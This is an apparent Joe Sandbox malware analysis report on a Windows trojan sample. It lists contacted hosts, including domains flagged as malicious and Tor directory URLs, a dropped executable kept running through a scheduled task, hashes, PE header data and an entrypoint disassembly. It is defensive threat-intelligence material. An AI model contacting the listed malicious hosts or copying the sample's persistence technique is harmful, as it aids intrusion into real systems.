http://86.59.21.38/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://131.188.40.189/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://77.7.81.140/tor/server/fp/5d5ddff29b96cc566aa746636868eb07f97de60c	0%	Avira URL Cloud	safe
http://77.7.81.140/tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api4.ipify.org	64.185.227.156	true	false		high
asdasd08.xyz	34.171.171.32	true	true	12%, Virustotal, Browse	unknown
ip4.seeip.org	23.128.64.141	true	false	1%, Virustotal, Browse	unknown
asdasd08.com	34.171.171.32	true	true	11%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://151.20.208.221/tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d	false	Avira URL Cloud: safe	unknown
http://151.20.208.221/tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5	false	Avira URL Cloud: safe	unknown
https://ip4.seeip.org/	false	URL Reputation: safe	unknown
http://84.144.111.46/tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/742091486d04734c57d97bcefb53d22ed0b77881	false	Avira URL Cloud: safe	unknown
http://77.7.81.140/tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15	false	Avira URL Cloud: safe	unknown
asdasd08.com	true	Avira URL Cloud: malware	unknown
http://151.20.208.221/tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec	false	Avira URL Cloud: safe	unknown
http://151.20.208.221/tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb	false	Avira URL Cloud: safe	unknown
http://193.23.244.244/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://77.7.81.140/tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f	false	Avira URL Cloud: safe	unknown
http://77.7.81.140/tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab	false	Avira URL Cloud: safe	unknown
http://151.20.208.221/tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88	false	Avira URL Cloud: safe	unknown
http://151.20.208.221/tor/server/fp/aacd4e09e65ba18caf35fbc855ef659505b36e9e	false	Avira URL Cloud: safe	unknown
http://151.20.208.221/tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d	false	Avira URL Cloud: safe	unknown
http://151.20.208.221/tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f	false	Avira URL Cloud: safe	unknown
http://77.7.81.140/tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab	false	Avira URL Cloud: safe	unknown
asdasd08.xyz	true	Avira URL Cloud: malware	unknown
http://77.7.81.140/tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88	false	Avira URL Cloud: safe	unknown
http://77.7.81.140/tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5	false	Avira URL Cloud: safe	unknown
http://84.144.111.46/tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f	false	Avira URL Cloud: safe	unknown
http://86.59.21.38/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://131.188.40.189/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://77.7.81.140/tor/server/fp/5d5ddff29b96cc566aa746636868eb07f97de60c	false	Avira URL Cloud: safe	unknown
http://77.7.81.140/tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/https://ip4.seeip.org/Microsoft	p9CvI6kq7d.exe, 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, p9CvI6kq7d.exe, 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://386bsd.net	orvsmwx.exe, 00000001.00000003.266947367.0000000001CF0000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.364709435.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.264170871.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.256502569.0000000001970000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.270852014.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.458304685.0000000000D10000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.257004533.00000000019B0000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.369687710.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.357230829.0000000001980000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.357387552.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.356893099.0000000001930000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.370114126.0000000001B60000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.365870747.0000000001C90000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.457651138.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.260754380.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.356920594.0000000001930000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.457509207.0000000000500000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.257457810.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.259547423.0000000001A10000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
84.144.111.46	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
84.155.152.82	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
34.171.171.32	asdasd08.xyz	United States	2686	ATGS-MMD-ASUS	true
77.7.81.140	unknown	Germany	6805	TDDE-ASN1DE	false
86.59.21.38	unknown	Austria	8437	UTA-ASAT	false
151.20.208.221	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
84.62.245.6	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
144.217.95.12	unknown	Canada	16276	OVHFR	false
23.128.64.141	ip4.seeip.org	United States	19969	JOESDATACENTERUS	false
64.185.227.156	api4.ipify.org	United States	18450	WEBNXUS	false
193.23.244.244	unknown	Germany	50472	CHAOS-ASDE	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	764865
Start date and time:	2022-12-11 09:24:08 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	p9CvI6kq7d.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/3@13/12
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 37.7% (good quality ratio 37.7%) Quality average: 80% Quality standard deviation: 21.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:25:00	API Interceptor	2x Sleep call for process: p9CvI6kq7d.exe modified
09:25:03	Task Scheduler	Run new task: orvsmwx path: C:\ProgramData\prfxiau\orvsmwx.exe s>start
09:25:03	API Interceptor	1x Sleep call for process: orvsmwx.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
86.59.21.38	SPXp2YHDFz.exe	Get hash	malicious	Browse	86.59.21.38/tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775
	SPXp2YHDFz.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	ILI1MGzcig.exe	Get hash	malicious	Browse	86.59.21.38/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1
	http://86.59.21.38/tor/status-vote/current/consensus	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	qO7zg5QKAX.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	PsNZLytUyV.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	KJN55hQKh2.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus.z
	97238623.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus.z
	XtW3COOOIB.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus.z
	mc8U9fGRnK.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	hse8DRMQnI.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	d2Hh2e62ZG.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	RuntimeBroker.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	5e8d15.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	us6quGOhfX.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	RatLoader_Fixed.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	hgJC8DQxr4.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	AJa7iK95pL.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	FU5L5C1gQk.exe	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
	21factura (1).js	Get hash	malicious	Browse	86.59.21.38/tor/status-vote/current/consensus
34.171.171.32	fR9fxNOWAx.exe	Get hash	malicious	Browse
	jN2CDnstRW.exe	Get hash	malicious	Browse
	jN2CDnstRW.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api4.ipify.org	Purchase Order_2241838_20221210_201349-pdf.com.exe	Get hash	malicious	Browse	64.185.227.156
	9y70QnPVM6.exe	Get hash	malicious	Browse	64.185.227.156
	A4iB8dikvp.exe	Get hash	malicious	Browse	64.185.227.156
	xApc02RDLP.exe	Get hash	malicious	Browse	64.185.227.156
	3tZhflwLcF.exe	Get hash	malicious	Browse	64.185.227.156
	NEW ORDER.exe	Get hash	malicious	Browse	64.185.227.156
	No.786161678.exe	Get hash	malicious	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.27511.29896.exe	Get hash	malicious	Browse	64.185.227.156
	https://go.bdo.ca/subscription-center.html	Get hash	malicious	Browse	64.185.227.156
	Payment.exe	Get hash	malicious	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.15745.19996.exe	Get hash	malicious	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.20150.900.exe	Get hash	malicious	Browse	64.185.227.156
	SecuriteInfo.com.Trojan.PWS.Siggen3.24938.12431.19128.exe	Get hash	malicious	Browse	64.185.227.156
ip4.seeip.org	ufU6GyukRT.exe	Get hash	malicious	Browse	23.128.64.141
	7ADpIopHPA.exe	Get hash	malicious	Browse	23.128.64.141
	ZVDfxevnJz.exe	Get hash	malicious	Browse	23.128.64.141
	A7Rgb4xIaH.exe	Get hash	malicious	Browse	23.128.64.141
	zZvN0iR77S.exe	Get hash	malicious	Browse	23.128.64.141
	92.exe	Get hash	malicious	Browse	23.128.64.141
	62.exe	Get hash	malicious	Browse	23.128.64.141
	vape.exe	Get hash	malicious	Browse	23.128.64.141
	Discord Nitro Generatorv1.24.exe	Get hash	malicious	Browse	23.128.64.141
	memek.exe	Get hash	malicious	Browse	23.128.64.141
	YE0L8DZO3q.exe	Get hash	malicious	Browse	23.128.64.141
	Scarlet Fire.mp3.exe.exe	Get hash	malicious	Browse	23.128.64.141
	CINEQ-MULTITOOL BP.exe	Get hash	malicious	Browse	23.128.64.141
	FortnitegenUpdated.exe	Get hash	malicious	Browse	23.128.64.141
	uwuwuwuwuw.exe	Get hash	malicious	Browse	23.128.64.141
	SynapseX.exe	Get hash	malicious	Browse	23.128.64.141
	NFT.exe	Get hash	malicious	Browse	23.128.64.141
	199SS.exe	Get hash	malicious	Browse	23.128.64.141
	Spoofer.exe	Get hash	malicious	Browse	23.128.64.141
	Exploit v1.3 rethi.exe	Get hash	malicious	Browse	23.128.64.141

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DTAGInternetserviceprovideroperationsDE	ascaris.sh4.elf	Get hash	malicious	Browse	79.240.187.221
	ascaris.m68k.elf	Get hash	malicious	Browse	93.249.79.250
	MO0Cyr6H4J.elf	Get hash	malicious	Browse	31.230.214.118
	q1c7nqoR0P.elf	Get hash	malicious	Browse	91.49.101.151
	A6De2hiUgN.elf	Get hash	malicious	Browse	80.140.128.203
	RVs7Yo67uw.elf	Get hash	malicious	Browse	2.164.183.51
	NQ1pI3UJai.elf	Get hash	malicious	Browse	93.222.15.243
	ZG11Q8WGTS.elf	Get hash	malicious	Browse	46.78.198.80
	qUC4fwxGhK.elf	Get hash	malicious	Browse	79.207.139.123
	SPpRmdIkFp.elf	Get hash	malicious	Browse	80.133.212.3
	8pRmUCh9Zd.elf	Get hash	malicious	Browse	212.184.217.157
	3kjFL26yJc.elf	Get hash	malicious	Browse	2.161.78.155
	FYlUdIUlMq.elf	Get hash	malicious	Browse	79.205.160.214
	j5B4iCFpY3.elf	Get hash	malicious	Browse	91.54.23.53
	7DFa9S1kbA.elf	Get hash	malicious	Browse	87.147.8.232
	DsYilbWfVw.elf	Get hash	malicious	Browse	31.253.231.60
	J0x6tLh41G.elf	Get hash	malicious	Browse	91.59.148.231
	3yjVVrgxaK.elf	Get hash	malicious	Browse	193.98.246.16
	yQWRcSoJ2F.elf	Get hash	malicious	Browse	87.172.218.193
	ZM2GGQVNjn.elf	Get hash	malicious	Browse	79.195.229.140

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Pbnc5ctKw1.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	ZQFMpLu7L2.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	h8brn9EMwG.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	zZYh6pdr9c.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	RMLLauncher.exe.virus.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	Purchase Order_2241838_20221210_201349-pdf.com.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	1040A_Final.pdf.lnk	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	9y70QnPVM6.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	DE26aj35IN.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	A4iB8dikvp.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	xApc02RDLP.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	3tZhflwLcF.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	fp_x86_x64pp_en_en_installfull.zip	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	https://nts.embluemail.com/p/cl?data=xeN2zmLAdKsJjNJSxxNKVNCZ%2FcaH9xo9YolNHffBn3aswbcAFcpIJPcyGlZpg%2BpajNSoMD7Lf9jxUak5G2JJdhyGiSugSfvKJm%2BjWjtLkAU%3D!-!8e4el7a!-!https://y50mlh.codesandbox.io/?kh=user@domain.com	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	NEW ORDER.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	file.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	No.786161678.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.27511.29896.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	kN2n1bKMW4.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156
	Payment.exe	Get hash	malicious	Browse	23.128.64.141 64.185.227.156

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\prfxiau\orvsmwx.exe

Download File

Process:	C:\Users\user\Desktop\p9CvI6kq7d.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	111104
Entropy (8bit):	6.99581154510648
Encrypted:	false
SSDEEP:	1536:tJBChC4Ri7LWJgg2vTC/29r2VoRvz7tM1kPYqwtFUNn0WJWsa9tNUQukOVRcqAZc:td7LrNTC/21RrtwqaFFF9tNUXfVRK
MD5:	0F6F452EE406B3360E39819AAC42A200
SHA1:	E62B9163C2EDDBC8BDF262FAF11AC1F5F1E25683
SHA-256:	76BD9BEBDADFEDA8974424B76D669A8F22B4A1178B1A9CAAE0D2C5A60C9DB5E9
SHA-512:	7A0ED3FC2195B52DF334D127B73A454FB65DBFA991CF9D543EACADC80B9874A7FB7894DDE66C265C03C7B6A794890C9D66ACD08525D843DFEC93D693FF96897C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................c.....r.....d................m.....s.....v....Rich...........................PE..L...fd1]................."...................@....@..........................`..............................................tw..<.... ..h3...........................................................................@...............................text...(!.......".................. ..`.rdata..xA...@...B...&..............@..@.data... ............h..............@....rsrc...h3... ...4...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\prfxiau\orvsmwx.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\p9CvI6kq7d.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\orvsmwx.job

Download File

Process:	C:\Users\user\Desktop\p9CvI6kq7d.exe
File Type:	data
Category:	modified
Size (bytes):	268
Entropy (8bit):	3.572670509216669
Encrypted:	false
SSDEEP:	6:Go/80e/P0bhEZweZFr6toADRcF/JTMy0lWcf9luFP1:GoS/MbCrrY6FhwV31qt
MD5:	FF040628B9BE90824F823104EB84D47B
SHA1:	46C5912EEFE3794D2F567F7E33B656790D812D8C
SHA-256:	036E7CA603E7E919EC3A3310D3A60E66E92422955B1A973BBB9C5C9BEB268802
SHA-512:	723462C0F00194E2901E82E51962CD40DC2651C5F8BC980567BA9CF5EAB7E0C766E3685A347688F2F172732B935DE626C84373619AD552B595DE7E08B68AAF96
Malicious:	false
Reputation:	low
Preview:	.....#....yC..>..-.F.......<... .....\.........."....................#.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.p.r.f.x.i.a.u.\.o.r.v.s.m.w.x...e.x.e.....s.t.a.r.t.......D.E.S.K.T.O.P.-.7.1.6.T.7.7.1.\.h.a.r.d.z...................0.........J.....................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.99581154510648
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	p9CvI6kq7d.exe
File size:	111104
MD5:	0f6f452ee406b3360e39819aac42a200
SHA1:	e62b9163c2eddbc8bdf262faf11ac1f5f1e25683
SHA256:	76bd9bebdadfeda8974424b76d669a8f22b4a1178b1a9caae0d2c5a60c9db5e9
SHA512:	7a0ed3fc2195b52df334d127b73a454fb65dbfa991cf9d543eacadc80b9874a7fb7894dde66c265c03c7b6a794890c9d66acd08525d843dfec93d693ff96897c
SSDEEP:	1536:tJBChC4Ri7LWJgg2vTC/29r2VoRvz7tM1kPYqwtFUNn0WJWsa9tNUQukOVRcqAZc:td7LrNTC/21RrtwqaFFF9tNUXfVRK
TLSH:	C6B3BF32B5C2D6B2C95A41B18860DE956BBFE4711235097777A8266F4F702D1823B33B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................c.......r.......d.......................m.......s.......v.....Rich............................PE..L...fd1]...

File Icon


Icon Hash:	82d4d4d4d4d4d400

Static PE Info

General

Entrypoint:	0x4014ab
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5D316466 [Fri Jul 19 06:34:14 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6419b6fbb39b82d7c52316adbe2e0296

Entrypoint Preview

Instruction
call 00007FEB70BD7C01h
jmp 00007FEB70BD4DDEh
and dword ptr [004D0614h], 00000000h
call 00007FEB70BD7CD6h
mov dword ptr [004D0614h], eax
xor eax, eax
ret
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 08h
and esp, FFFFFFF0h
fstp qword ptr [esp]
movq xmm7, qword ptr [esp]
call 00007FEB70BD4F6Dh
leave
ret
movq xmm7, qword ptr [esp+04h]
unpcklpd xmm7, xmm7
movapd xmm2, xmm7
andpd xmm2, dqword ptr [00414220h]
comisd xmm2, qword ptr [00414348h]
jp 00007FEB70BD51ECh
jnc 00007FEB70BD51BBh
comisd xmm2, qword ptr [00414338h]
jnc 00007FEB70BD4FD0h
comisd xmm2, qword ptr [00414340h]
jc 00007FEB70BD515Ch
movapd xmm1, xmm2
mulpd xmm1, xmm2
movapd xmm3, xmm1
mulpd xmm3, xmm1
movapd xmm5, dqword ptr [004142F0h]
mulpd xmm5, xmm3
addpd xmm5, dqword ptr [004142E0h]
mulpd xmm5, xmm3
addpd xmm5, dqword ptr [004142D0h]
mulpd xmm5, xmm3
addpd xmm5, dqword ptr [004142C0h]
mulsd xmm5, xmm1
movapd xmm3, xmm5
shufpd xmm3, xmm3, 01h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17774	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd2000	0x3368	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x14000	0x1b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x12128	0x12200	False	0.7223060344827587	data	7.3635971049801014	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x14000	0x4178	0x4200	False	0.5266927083333334	data	5.9787886041479075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0xb8620	0x1600	False	0.35120738636363635	data	3.4969320794044383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd2000	0x3368	0x3400	False	0.5609224759615384	data	5.500283689560798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
VAMOWUWUKUYAYOCEYUCOYIBAJEMOY	0xd3bf8	0x127b	ASCII text, with very long lines (4731), with no line terminators
RT_CURSOR	0xd4e78	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"
RT_ICON	0xd2280	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_ICON	0xd2b28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_STRING	0xd50a8	0x2c0	data
RT_GROUP_CURSOR	0xd4fb0	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0xd3bd0	0x22	data
RT_VERSION	0xd4fc8	0xdc	data

Imports

DLL

Import

KERNEL32.dll

CreateMutexW, SetThreadContext, TlsGetValue, SetLocalTime, BuildCommDCBAndTimeoutsA, DeleteVolumeMountPointA, WriteTapemark, SetDefaultCommConfigW, WaitForSingleObject, SleepEx, SetTapeParameters, GetTickCount, GetCommandLineA, GetPriorityClass, ActivateActCtx, FindResourceExA, GetPrivateProfileIntA, AddRefActCtx, GetConsoleMode, TerminateThread, GetPrivateProfileStructW, GetSystemPowerStatus, SizeofResource, SetSystemTimeAdjustment, WritePrivateProfileStructW, SetConsoleMode, CreateSemaphoreA, GetBinaryTypeW, CompareStringW, lstrlenW, GetNamedPipeHandleStateW, GetTapeStatus, MoveFileW, SetFileApisToOEM, GetLocalTime, LoadLibraryA, GetConsoleScreenBufferInfo, LocalAlloc, AddAtomW, SetCurrentDirectoryW, GetProfileStringA, PostQueuedCompletionStatus, GetTapeParameters, ContinueDebugEvent, VirtualProtect, GetConsoleCursorInfo, DuplicateHandle, _lopen, DebugBreak, GetSystemTime, lstrcpyW, GetStartupInfoW, RaiseException, SetUnhandledExceptionFilter, GetModuleHandleW, Sleep, GetProcAddress, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, GetLastError, InterlockedDecrement, HeapCreate, VirtualFree, HeapFree, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleHandleA, LeaveCriticalSection, EnterCriticalSection, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapAlloc, VirtualAlloc, HeapReAlloc, RtlUnwind, HeapSize, GetLocaleInfoA, WideCharToMultiByte, GetStringTypeA, MultiByteToWideChar, GetStringTypeW, LCMapStringA, LCMapStringW

USER32.dll

GetListBoxInfo

Network Behavior

